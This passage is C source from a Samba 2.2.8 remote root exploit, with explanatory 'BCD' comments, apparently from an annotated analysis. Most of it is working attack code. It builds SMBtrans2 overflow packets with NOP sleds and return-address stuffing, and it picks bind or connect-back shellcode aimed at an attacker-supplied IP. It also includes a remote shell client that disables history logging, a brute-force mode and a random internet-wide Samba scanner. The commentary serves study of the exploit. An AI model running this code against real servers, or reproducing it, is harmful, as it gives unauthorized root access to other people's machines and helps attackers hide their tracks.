470  * BCD: select(2) to wait a bit and see if the descriptor ever becomes
471  * BCD: ready to use for reading or writing.
472  */
473
474 select_status = select(fd + 1, &connect_read, &connect_write, NULL,
475                       &timeout);
476
477 /* BCD: If select(2) returned zero, the timeout expired. */
478 if(select_status == 0) {
479     close(fd);
480     return -1;
481 }
482
483 /* BCD: If select(2) returned -1, there was a problem of some kind. */
484 if(select_status == -1) {
485     close(fd);
486     return -1;
487 }
488
489 /* BCD: If select(2) indicated that the descriptor is ready for IO... */

```

```

491     if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
492
493         /* BCD: If select(2) indicated we can read AND write... */
494         if(FD_ISSET(fd, &connect_read) &&
495            FD_ISSET(fd, &connect_write)) {
496
497             /* BCD: Call getsockopt(2) to check for errors. */
498             getsockopt_length = sizeof(getsockopt_error);
499             if(getsockopt(fd, SOL_SOCKET, SO_ERROR,
500                &getsockopt_error, &getsockopt_length) < 0) {
501                 errno = ETIMEDOUT;
502                 close(fd);
503                 return -1;
504             }
505
506             if(getsockopt_error == 0) {
507                 /* BCD: getsockopt(2) reported no errors. */
508                 if(fcntl(fd, F_SETFL, flags) < 0) {
509                     close(fd);
510                     return -1;
511                 }
512                 return 1; /* BCD: SUCCESS: connection estab. */
513             }
514             else {
515                 /* BCD: getsockopt(2) did reported an error. */
516                 errno = getsockopt_error;
517                 close(fd);
518                 return (-1);
519             }
520         }
521     }
522     else {
523         /* BCD: We can only get here if select(2) did not time out,
524          * BCD: did not return an error, and did not indicate that
525          * BCD: the socket was read for reading or writing. In
526          * BCD: other words, we can never reach this statement. */
527         close(fd);
528         return 1;
529     }
530
531     /* BCD: Control may reach this point if the select(2) indicated the
532     * BCD: socket is ready for reading or writing but not both. In this
533     * BCD: case, we apparently deem the connection to be established
534     * BCD: even though we would not have checked for errors.
535     */
536
537     /* Attempt to return the socket flags back to their original state. */
538     if(fcntl(fd, F_SETFL, flags) < 0) {
539         close(fd);
540         return -1;
541     }
542     return 1; /* BCD: SUCCESS: the connection is established. */
543 }
544
545 /*****
546
547 /* BCD: Wait up to a specified amount of time for a file descriptor to become
548 * BCD: ready for reading (meaning data has arrived). If it does, return 1.
549 * BCD: Otherwise, close the descriptor and return -1.
550 */
551 int read_timer(int fd, unsigned int time_out)
552 {
553

```

```

554  /* ripped from nol */
555
556  int          flags;
557  int          select_status;
558  fd_set      fdread;
559  struct timeval timeout;
560
561  /* BCD: Raise the nonblocking flag for the descriptor.
562   * BCD: (Perhaps some systems could hang on select if we don't do this?)
563   */
564  if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
565      close(fd);
566      return (-1);
567  }
568
569  if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
570      close(fd);
571      return (-1);
572  }
573
574  /* BCD: Call select(2) to test whether the descriptor is readable. */
575  timeout.tv_sec = time_out;
576  timeout.tv_usec = 0;
577  FD_ZERO(&fdread);
578  FD_SET(fd, &fdread);
579  select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
580
581  /* BCD: If select returned zero, the descriptor was not readable. */
582  if(select_status == 0) {
583      close(fd);
584      return (-1);
585  }
586
587  /* BCD: If select returned -1, a error occured. */
588  if(select_status == -1) {
589      close(fd);
590      return (-1);
591  }
592
593  /* BCD: Is the descriptor is in the set of readable descriptors? */
594  if(FD_ISSET(fd, &fdread)) {
595
596      /* BCD: Attempt to return the flags to their original state. */
597      if(fcntl(fd, F_SETFL, flags) < 0) {
598          close(fd);
599          return -1;
600      }
601      return 1; /* BCD: SUCCESS: the descriptor is now writable. */
602  }
603  else {
604      close(fd);
605      return 1;
606  }
607  }
608 }
609
610
611 /*****
612 /* BCD: Wait up to a specified amount of time for a file descriptor to become
613 * BCD: ready for writing (meaning data can be sent without blocking). If it
614 * BCD: does, return 1. Otherwise, close the descriptor and return -1.
615 */
616 int write_timer(int fd, unsigned int time_out)

```

```

617 {
618
619 /* ripped from nol */
620
621 int flags;
622 int select_status;
623 fd_set fdwrite;
624 struct timeval timeout;
625
626 /* BCD: Raise the nonblocking flag for the descriptor.
627 * BCD: (Perhaps some systems could hang on select if we don't do this?)
628 */
629 if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
630 close(fd);
631 return (-1);
632 }
633 if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
634 close(fd);
635 return (-1);
636 }
637
638 /* BCD: Call select(2) to test whether the descriptor is writable. */
639 timeout.tv_sec = time_out;
640 timeout.tv_usec = 0;
641 FD_ZERO(&fdwrite);
642 FD_SET(fd, &fdwrite);
643 select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
644
645 /* BCD: If select returned zero, the descriptor was not writable. */
646 if(select_status == 0) {
647 close(fd);
648 return -1;
649 }
650
651 /* BCD: If select returned -1, a error ocured. */
652 if(select_status == -1) {
653 close(fd);
654 return -1;
655 }
656
657 /* BCD: Is the descriptor is in the set of writable descriptors? */
658 if(FD_ISSET(fd, &fdwrite)) {
659
660 /* BCD: Attempt to return the flags to their original state. */
661 if(fcntl(fd, F_SETFL, flags) < 0) {
662 close(fd);
663 return -1;
664 }
665 return 1; /* BCD: SUCCESS: the descriptor is now writable. */
666 }
667 else {
668 close(fd);
669 return -1;
670 }
671 }
672
673 /*****
674 /* BCD: Interact with the remote bourne shell launched by a successfully
675 * BCD: exploited Samba server. This first sends a few hardcoded commands
676 * BCD: then goes into a loop that copies IO between sambal's stdin/stdout
677 * BCD: in/out and the remote shell.
678 */
679 void shell(int sock)

```



```

680 {
681     fd_set  fd_read;
682
683     /* BCD: Hardcoded initialization commands:
684     * BCD:     unset HISTFILE      # Disables bash history logging.
685     * BCD:     echo ...           # Print a brief banner.
686     * BCD:     uname -a          # Print some OS and host information.
687     * BCD:     id                # Print user credentials.
688     */
689     char buff[1024], *cmd="unset HISTFILE; "
690         "echo \"*** JE MOET JE MUIL HOUWE\";"
691         "uname -a;id;\n";
692     int n;
693
694     /* BCD: Get ready to call select(2) on stdin and the shell socket. */
695     FD_ZERO(&fd_read);
696     FD_SET(sock, &fd_read);
697     FD_SET(0, &fd_read);
698
699     /* BCD: Send the initialization commands. */
700     send(sock, cmd, strlen(cmd), 0);
701
702     /* BCD: Now we loop, copying data back and forth over the network
703     * BCD: until the remote size closes.
704     */
705     while(1) {
706         FD_SET(sock, &fd_read);
707         FD_SET(0, &fd_read);
708
709         /* BCD: If the remote shell socket closed, exit this loop. */
710         if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
711
712         /* BCD: If the shell sent any data, receive it then write it
713         * BCD: to stdout.
714         */
715         if (FD_ISSET(sock, &fd_read)) {
716
717             if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
718                 fprintf(stderr, "EOF\n");
719                 exit(2);
720             }
721
722             if (write(1, buff, n) < 0) break;
723         }
724
725         /* BCD: If there's data on stdin, read it then send it to
726         * BCD: the shell socket.
727         */
728         if (FD_ISSET(0, &fd_read)) {
729
730             if((n = read(0, buff, sizeof(buff))) < 0){
731                 fprintf(stderr, "EOF\n");
732                 exit(2);
733             }
734
735             if (send(sock, buff, n, 0) < 0) break;
736         }
737
738         /* BCD: Sleep 10 microseconds. In case either side of
739         * BCD: the socket is producing data very rapidly, this
740         * BCD: improves network efficiency by allowing bytes to
741         * BCD: accrue in the input buffers, so whole packets are
742         * BCD: not wasted on tiny amounts of data.

```

```

743     */
744     usleep(10);
745 }
746
747     fprintf(stderr, "Connection lost.\n\n");
748     exit(0);
749 }
750
751 /*****
752 /* BCD: This is the signal handler for SIGUSR1. The SIGUSR1 signal is sent to
753 * BCD: the parent process if & when a child process successfully connects to
754 * BCD: the backdoor port on an exploited server host. After sending this
755 * BCD: signal, the child will exit, leaving this handler function to
756 * BCD: to establish it's own connection to the backdoor port.
757 */
758 void handler()
759 {
760     int sock = 0;
761     int i = 0;
762     OWNED = 1;
763
764     /* BCD: Wait for each currently active child process to die. */
765     for (i = 0; i < 100; i++)
766         if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);
767
768     if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
769         close(sock);
770         exit(1);
771     }
772
773
774     /* BCD: Connect to the back door. */
775     if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
776         fprintf(stdout, "+ Worked!\n"
777             "-----"
778             "-----\n");
779         shell(sock); /* BCD: Be a remote shell client. */
780         close(sock);
781     }
782
783
784 }
785
786 /*****
787 /* BCD: Start an SMB session. This requires sending two packets to
788 * BCD: the target server: (1) A "Session Setup" request, and (2), a
789 * BCD: "Tree Connect" request. The responses to these packets are
790 * BCD: read but essentially ignored. Returns 0 for success.
791 */
792 int start_session(int sock)
793 {
794     char buffer[1000];
795     char response[4096];
796
797     /* BCD: Define an SMB "Session Setup AndX" request. */
798     char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00"
799         "\x01\x00\x00\x00\x00";
800
801     /* BCD: Define an SMB "Tree Connect" request. */
802     char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63"
803         "\x24\x25\x6e\x6f\x62\x6f\x64\x79\x00"
804         "\x00\x00\x00\x00\x00\x00\x49\x50\x43"
805         "\x24";

```

```

806
807 NETBIOS_HEADER *netbiosheader;
808 SMB_HEADER     *smbheader;
809
810 /* BCD: Zero-fill the message buffer. */
811 memset(buffer, 0x00, sizeof(buffer));
812
813 netbiosheader = (NETBIOS_HEADER *)buffer;
814 smbheader     = (SMB_HEADER *) (buffer + sizeof(NETBIOS_HEADER));
815
816 /* BCD: Initialize the NBT protocol headers. */
817 netbiosheader->type      = 0x00; /* session message */
818 netbiosheader->flags     = 0x00;
819 netbiosheader->length    = htons(0x2E);
820
821 /* BCD: Initialize the SMB header part of the request. */
822 smbheader->protocol[0]  = 0xFF;
823 smbheader->protocol[1]  = 'S';
824 smbheader->protocol[2]  = 'M';
825 smbheader->protocol[3]  = 'B';
826 smbheader->command      = 0x73; /* session setup */
827 smbheader->flags        = 0x08; /* caseless pathnames */
828 smbheader->flags2       = 0x01; /* long filenames supported */
829 smbheader->pid          = getpid() & 0xFFFF;
830 smbheader->uid          = 100;
831 smbheader->mid          = 0x01;
832
833 /* BCD: Add the "Session Setup AndX" part of the packet. */
834 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
835         session_data1, sizeof(session_data1) - 1);
836
837 /* BCD: Send the request. */
838 if(write_timer(sock, 3) == 1)
839     if (send(sock, buffer, 50, 0) < 0) return -1;
840
841 memset(response, 0x00, sizeof(response));
842
843 /* BCD: Read the response. */
844 if (read_timer(sock, 3) == 1)
845     if (read(sock, response, sizeof(response) - 1) < 0) return -1;
846
847 netbiosheader = (NETBIOS_HEADER *)response;
848 smbheader     = (SMB_HEADER *) (response + sizeof(NETBIOS_HEADER));
849
850 /* BCD: Sanity check; although processing continues regardless of result. */
851 if (netbiosheader->type != 0x00)
852     fprintf(stderr, "+ Recieved a non session message\n");
853
854 netbiosheader = (NETBIOS_HEADER *)buffer;
855 smbheader     = (SMB_HEADER *) (buffer + sizeof(NETBIOS_HEADER));
856
857 memset(buffer, 0x00, sizeof(buffer));
858
859 netbiosheader->type      = 0x00; /* session message */
860 netbiosheader->flags     = 0x00;
861 netbiosheader->length    = htons(0x3C);
862
863 smbheader->protocol[0]  = 0xFF;
864 smbheader->protocol[1]  = 'S';
865 smbheader->protocol[2]  = 'M';
866 smbheader->protocol[3]  = 'B';
867 smbheader->command      = 0x70; /* start connection */
868 smbheader->pid          = getpid() & 0xFFFF;

```

```

869     smbheader->tid           = 0x00;
870     smbheader->uid           = 100;
871
872     /* BCD: Add the "Tree Connect" part of the packet. */
873     memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
874            session_data2, sizeof(session_data2) - 1);
875
876     /* BCD: Send the request. */
877     if(write_timer(sock, 3) == 1)
878         if (send(sock, buffer, 64, 0) < 0) return -1;
879
880     memset(response, 0x00, sizeof(response));
881
882     /* BCD: Read the response. */
883     if (read_timer(sock, 3) == 1)
884         if (read(sock, response, sizeof(response) - 1) < 0) return -1;
885
886     netbiosheader = (NETBIOS_HEADER *)response;
887     smbheader     = (SMB_HEADER *) (response + sizeof(NETBIOS_HEADER));
888
889     /* BCD: Another sanity check, but this time it is handled seriously. */
890     if (netbiosheader->type != 0x00) return -1;
891
892     return 0;
893 }
894 /*****
895 int
896 exploit_normal(int sock, unsigned long ret, char *shellcode)
897 {
898
899     char buffer[4000];
900     char exploit_data[] =
901         "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
902         "\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00"
903         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
904         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
905
906     int i = 0;
907     unsigned long dummy = ret - 0x90;
908
909     NETBIOS_HEADER *netbiosheader;
910     SMB_HEADER     *smbheader;
911
912     memset(buffer, 0x00, sizeof(buffer));
913
914     netbiosheader = (NETBIOS_HEADER *)buffer;
915     smbheader     = (SMB_HEADER *) (buffer + sizeof(NETBIOS_HEADER));
916
917     /* BCD: The flags below combined with the length indicate a length of
918     * BCD: 264,240 bytes.
919     */
920     netbiosheader->type           = 0x00;           /* session message */
921     netbiosheader->flags          = 0x04;
922     netbiosheader->length         = htons(2096);
923
924     smbheader->protocol[0]        = 0xFF;
925     smbheader->protocol[1]        = 'S';
926     smbheader->protocol[2]        = 'M';
927     smbheader->protocol[3]        = 'B';
928     smbheader->command            = 0x32;           /* SMBtrans2 */
929     smbheader->tid                = 0x01;
930     smbheader->uid                = 100;
931

```

```

932 /* BCD: Insert 3000 nop's into the buffer right after the exploit data. */
933 memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER)
934         + sizeof(exploit_data), 0x90, 3000);
935
936 /* BCD: We are about to stuff the return address into 96 bytes of our
937 * BCD: payload where we think the saved EIP should be. But first, we
938 * BCD: insert 0xEB70. This means jmp 0x70 bytes ahead in x86. In case
939 * BCD: the EIP ends up pointing to a place that is somewhere
940 * BCD: before the 96-byte area, this will cause execution to safely
941 * BCD: skip over that area instead of trying to execute it as code.
942 */
943 buffer[1096] = 0xEB; /* BCD: jmp */
944 buffer[1097] = 0x70; /* BCD: 0x70 bytes ahead */
945
946 /* BCD: Fill a 96-byte area starting at byte 1099 with copies of the
947 * BCD: desired return address. The instruction pointer of the target's
948 * BCD: processor will ultimately be written with data from this region,
949 * BCD: causing execution of code at that address.
950 */
951 for (i = 0; i < 4 * 24; i += 8) {
952     memcpy(buffer + 1099 + i, &dummy, 4);
953     memcpy(buffer + 1103 + i, &ret, 4);
954 }
955
956 memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
957         exploit_data, sizeof(exploit_data) - 1);
958 memcpy(buffer + 1800, shellcode, strlen(shellcode));
959
960 if(write_timer(sock, 3) == 1) {
961     if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
962     return 0;
963 }
964
965 return -1;
966 }
967
968 /*****
969
970 int exploit_opensd32(int sock, unsigned long ret, char *shellcode)
971 {
972     char buffer[4000];
973
974     char exploit_data[] =
975         "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
976         "\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00"
977         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
978         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
979
980     int i = 0;
981     unsigned long dummy = ret - 0x30;
982     NETBIOS_HEADER *netbiosheader;
983     SMB_HEADER *smbheader;
984
985     memset(buffer, 0x00, sizeof(buffer));
986
987     netbiosheader = (NETBIOS_HEADER *)buffer;
988     smbheader = (SMB_HEADER *) (buffer + sizeof(NETBIOS_HEADER));
989
990     netbiosheader->type = 0x00; /* session message */
991     netbiosheader->flags = 0x04;
992     netbiosheader->length = htons(2096);
993
994     smbheader->protocol[0] = 0xFF;

```

```

995     smbheader->protocol[1]         = 'S';
996     smbheader->protocol[2]         = 'M';
997     smbheader->protocol[3]         = 'B';
998     smbheader->command              = 0x32;          /* SMBtrans2 */
999     smbheader->tid                  = 0x01;
1000    smbheader->uid                   = 100;
1001
1002    memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER)
1003           + sizeof(exploit_data), 0x90, 3000);
1004
1005    for (i = 0; i < 4 * 24; i += 4)
1006        memcpy(buffer + 1131 + i, &dummy, 4);
1007
1008    memcpy(buffer + 1127, &ret,      4);
1009
1010    memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
1011           exploit_data, sizeof(exploit_data) - 1);
1012
1013    memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
1014
1015    if(write_timer(sock, 3) == 1) {
1016        if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
1017        return 0;
1018    }
1019
1020    return -1;
1021 }
1022
1023 /*****
1024
1025 int main (int argc, char *argv[])
1026 {
1027     char *shellcode = NULL;
1028     char scan_ip[256];
1029
1030     int brute          = -1;
1031     int connectback    = 0;
1032     int force          = 0;
1033     int i              = 0;
1034     int ip1            = 0;
1035     int ip2            = 0;
1036     int ip3            = 0;
1037     int ip4            = 0;
1038     int opt            = 0;
1039     int port           = 139;
1040     int random         = 0;
1041     int scan           = 0;
1042     int sock           = 0;
1043     int sock2          = 0;
1044     int status         = 0;
1045     int type           = 0;
1046     int verbose        = 0;
1047
1048     unsigned long BRUTE_DELAY      = 100000;
1049     unsigned long ret              = 0x0;
1050     unsigned long MAX_CHILDREN    = 40;
1051     unsigned long STEPS           = 300;
1052
1053     struct hostent                *he;
1054
1055     fprintf(stdout,
1056            "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"
1057            "-----\n");

```

```

1058
1059
1060 /* BCD: Run-of-the-mill command line arg parsing using getopt(3) */
1061 while((opt = getopt(argc, argv, "b:B:c:C:d:fp:r:sS:t:v")) != EOF) {
1062     switch(opt)
1063     {
1064         case 'b':
1065             brute = atoi(optarg);
1066             if ((brute < 0) || (brute > 3)) {
1067                 fprintf(stderr, "Invalid platform.\n\n");
1068                 return -1;
1069             }
1070             break;
1071         case 'B':
1072             STEPS = atoi(optarg);
1073             if (STEPS == 0) STEPS++;
1074             break;
1075         case 'c':
1076             sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
1077             connectback = 1;
1078
1079             if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
1080                 fprintf(stderr, "Invalid IP address.\n\n");
1081                 return -1;
1082             }
1083
1084             /* BCD: Notice the offsets for the linux connect_back IP
1085              * BCD: address are wrong. Instead of 33..36, they should
1086              * BCD: be 43..46.
1087              */
1088             linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;
1089             linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;
1090             linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;
1091             linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;
1092
1093             break;
1094         case 'C':
1095             MAX_CHILDS = atoi(optarg);
1096             if (MAX_CHILDS == 0) {
1097                 fprintf(stderr, "Invalid number of childs.\n");
1098                 return -1;
1099             }
1100
1101             if (MAX_CHILDS > 99) {
1102                 fprintf(stderr, "Too many childs, using 99. \n");
1103                 MAX_CHILDS = 99;
1104             }
1105
1106             break;
1107         case 'd':
1108             BRUTE_DELAY = atoi(optarg);
1109             break;
1110         case 'f':
1111             force = 1;
1112             break;
1113         case 'p':
1114             port = atoi(optarg);
1115             if ((port <= 0) || (port > 65535)) {
1116                 fprintf(stderr, "Invalid port.\n\n");
1117                 return -1;
1118             }
1119             break;
1120         case 'r':

```

```

1121         ret = strtoul(optarg, &optarg, 16);
1122         break;
1123     case 's':
1124         random          = 1;
1125         scan            = 1;
1126         break;
1127     case 'S':
1128         random          = 0;
1129         scan            = 1;
1130         sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
1131         ip3--;
1132         break;
1133     case 't':
1134         type = atoi(optarg);
1135         if (type == 0 || type > sizeof(targets) / 16) {
1136             for(i = 0; i < sizeof(targets) / 16; i++)
1137                 fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1,
1138                     targets[i].type, (unsigned int) targets[i].ret);
1139             fprintf(stderr, "\n");
1140             return -1;
1141         }
1142         break;
1143     case 'v':
1144         verbose = 1;
1145         break;
1146     default:
1147         usage(argv[0] == NULL ? "sambal" : argv[0]);
1148         break;
1149     }
1150 }
1151
1152 }
1153
1154 /* BCD: print the usage message if either:
1155  * BCD: 1. No IP address and no scanning options options given. Or
1156  * BCD: 2. No target type, no brute force and no scan options given.
1157  */
1158 if ((argv[optind] == NULL && scan == 0) ||
1159     (type == 0 && brute == -1 && scan == 0))
1160     usage(argv[0] == NULL ? "sambal" : argv[0]);
1161
1162 if (scan == 1)
1163     fprintf(stdout, "+ Scan mode.\n");
1164 if (verbose == 1)
1165     fprintf(stdout, "+ Verbose mode.\n");
1166
1167 if (scan == 1) {
1168
1169     srand(getpid());
1170
1171     /* BCD: Loop forever, scanning 255 consecutive IP's during each
1172     * BCD: iteration.
1173     */
1174     while (1) {
1175
1176         /* BCD: Are we doing a random search, or searching a desired range? */
1177         if (random == 1) {
1178             /* BCD: Choose the high 24 bits of an IP randomly. */
1179             ip1 = rand() % 255;
1180             ip2 = rand() % 255;
1181             ip3 = rand() % 255; }
1182         else {
1183             /* BCD: Increment high 24 bits of the IP. */

```



```

1184         ip3++;
1185         if (ip3 > 254) { ip3 = 1; ip2++; }
1186         if (ip2 > 254) { ip2 = 1; ip1++; }
1187         if (ip1 > 254) exit(0);
1188     }
1189
1190     /* BCD: The scan loop: check hosts 0 to 254. Each loop iteration
1191     * BCD: forks one child process to do each check. If and when the max
1192     * BCD: number of child processes are active, wait(2) until one
1193     * BCD: finishes before continuing.
1194     */
1195     for (ip4 = 0; ip4 < 255; ip4++) {
1196         i++;
1197
1198         /* BCD: Create a string version of the IP. */
1199         snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u",
1200                 ip1, ip2, ip3, ip4);
1201
1202         usleep(BRUTE_DELAY);
1203
1204         switch (fork()) {
1205             case 0:
1206                 /* BCD: Call is_samba() to check whether samba is running. */
1207                 switch(is_samba(scan_ip, 2)) {
1208                     case 0:
1209                         fprintf(stdout, "+ [%s] Samba\n", scan_ip);
1210                         break;
1211                     case 1:
1212                         fprintf(stdout, "+ [%s] Windows\n", scan_ip);
1213                         break;
1214                     default:
1215                         break;
1216                 }
1217
1218                 exit(0);
1219                 break;
1220             case -1:
1221                 fprintf(stderr, "+ fork() error\n");
1222                 exit(-1);
1223                 break;
1224             default:
1225                 /* BCD: If the maximum number of child processes have been
1226                 * BCD: started, wait until one finishes before allowing the
1227                 * BCD: scan loop to continue.
1228                 */
1229                 if (i > MAX_CHILDREN - 2) {
1230                     wait(&status);
1231                     i--;
1232                 }
1233                 break;
1234         }
1235     }
1236 }
1237
1238 return 0;
1239 } /* BCD: This is the end of: if (scan == 1) { ... */
1240
1241
1242 /* BCD: Resolve the target's host name if necessary, and store the address
1243 * BCD: in network byte order, for use further down.
1244 */
1245 he = gethostbyname(argv[optind]);
1246

```

```

1247     if (he == NULL) {
1248         fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
1249         return -1;
1250     }
1251
1252     /* BCD: Begin processing for non-brute force mode. */
1253     if (brute == -1) {
1254
1255         /* BCD: If a return location was not specifically given, pick the one
1256          * BCD: from the table of known targets.
1257          */
1258         if (ret == 0) ret = targets[type - 1].ret;
1259
1260         /* Determine which shell code block to use based on target type. */
1261         shellcode = targets[type - 1].shellcode;
1262
1263         /* BCD: If the -c option was used on the command line, print a short
1264          * BCD: message and select connectback shellcode, instead of the
1265          * BCD: default backdoor shellcode.
1266          */
1267         if (connectback == 1) {
1268             fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n",
1269                 ip1, ip2, ip3, ip4);
1270
1271             switch(targets[type - 1].os_type) {
1272                 case 0: /* linux */
1273                     shellcode = linux_connect_back;
1274                     break;
1275                 case 1: /* FreeBSD/NetBSD */
1276                     shellcode = bsd_connect_back;
1277                     break;
1278                 case 2: /* OpenBSD */
1279                     shellcode = bsd_connect_back;
1280                     break;
1281                 case 3: /* OpenBSD 3.2 Non-exec stack */
1282                     shellcode = bsd_connect_back;
1283                     break;
1284             }
1285
1286         }
1287
1288         /* BCD: Make a socket for connecting to the target's NBT session port. */
1289         if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1290             fprintf(stderr, "+ socket() error.\n");
1291             return -1;
1292         }
1293
1294         /* BCD: Make a socket over which a remote shell may be run. */
1295         if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1296             fprintf(stderr, "+ socket() error.\n");
1297             return -1;
1298         }
1299
1300         memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
1301         memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
1302
1303         addr1.sin_family = AF_INET;
1304         addr1.sin_port = htons(port);
1305         addr2.sin_family = AF_INET;
1306         addr2.sin_port = htons(45295);
1307
1308         /* BCD: Connect to the target's NBT session service. */
1309         if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) {

```

```

1310         fprintf(stderr, "+ connect() error.\n");
1311         return -1;
1312     }
1313
1314     if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);
1315
1316     /* BCD: Do a quick sanity check for samba before proceeding to hack. */
1317     if (force == 0) {
1318
1319         if (is_samba(argv[optind], 2) != 0) {
1320             fprintf(stderr, "+ Host is not running samba!\n\n");
1321             return -1;
1322         }
1323
1324         fprintf(stderr, "+ Host is running samba.\n");
1325     }
1326
1327     if (verbose == 1)
1328         fprintf(stdout, "+ Connected to [%s:%d]\n",
1329                 (char *)inet_ntoa(addr1.sin_addr), port);
1330
1331     /* BCD: Notice that in case of session failure, a message is
1332     * BCD: printed for the user, but processing continues with no hope
1333     * BCD: of success anyway.
1334     */
1335     if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");
1336
1337     /* BCD: *en*stablished? Notice the "Session enstablished" message
1338     * BCD: gets printed whether or not a session was created.
1339     */
1340     if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
1341     sleep(5);
1342
1343     /* BCD: Upload shell code and overflow the victim's stack. */
1344     if (targets[type - 1].os_type != 2) {
1345         if (exploit_normal(sock, ret, shellcode) < 0) {
1346             fprintf(stderr, "+ Failed.\n");
1347             close(sock);
1348         }
1349     } else {
1350         if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1351             fprintf(stderr, "+ Failed.\n");
1352             close(sock);
1353         }
1354     }
1355
1356     sleep(2);
1357
1358     /* BCD: If running in backdoor mode (not connectback mode), attempt to
1359     * BCD: connect to the remote shell that should be listening if our
1360     * BCD: exploit was successful.
1361     */
1362     if (connectback == 0) {
1363         if (connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {
1364             fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");
1365
1366             return -1;
1367         }
1368
1369         fprintf(stdout,
1370             "-----\n");
1371
1372         shell(sock2);

```

```

1373         close(sock);
1374         close(sock2);
1375     } else {
1376         /* BCD: For connectback mode, it is not known whether the connect-back
1377          * BCD: really worked so just call it quits.
1378          */
1379         fprintf(stdout, "+ Done...\n");
1380         close(sock2);
1381         close(sock);
1382     }
1383     return 0;
1384 }
1385 /* BCD: This is the end of: if (brute == -1) { ... */
1386
1387
1388 /* BCD: The following code handles brute-force mode; The exploit is tried
1389  * BCD: over and over with different return addresses until one that works
1390  * BCD: is found.
1391  */
1392
1393 signal(SIGPIPE, SIG_IGN); /* BCD: Don't crash when SIGPIPE is received. */
1394 signal(SIGUSR1, handler); /* BCD: On SIGUSR1, attempt back door access. */
1395
1396 /* BCD: Select the appropriate back door code and a starting return address
1397  * BCD: for the suspected server platform.
1398  */
1399 switch(brute) {
1400 case 0:
1401     if (ret == 0) ret = 0xc0000000;
1402     shellcode = linux_bindcode;
1403     fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
1404     break;
1405 case 1:
1406     if (ret == 0) ret = 0xbfc00000;
1407     shellcode = bsd_bindcode;
1408     fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");
1409     break;
1410 case 2:
1411     if (ret == 0) ret = 0xdfc00000;
1412     shellcode = bsd_bindcode;
1413     fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");
1414     break;
1415 case 3:
1416     if (ret == 0) ret = 0x00170000;
1417     shellcode = bsd_bindcode;
1418     fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");
1419     break;
1420 }
1421
1422 /* BCD: Prepare a couple of sockaddr_in's for connecting to NBT sessions and
1423  * BCD: the backdoor port.
1424  */
1425 memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
1426 memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
1427
1428 addr1.sin_family = AF_INET;
1429 addr1.sin_port = htons(port);
1430 addr2.sin_family = AF_INET;
1431 addr2.sin_port = htons(45295);
1432
1433 for (i = 0; i < 100; i++)
1434     childs[i] = -1;
1435 i = 0; /* BCD: Integer i will track the number of active child processes. */

```

```

1436
1437 /* BCD: Unless -f was specified, do a quick check to verify whether remote
1438 * BCD: host is running Samba.
1439 */
1440 if (force == 0) {
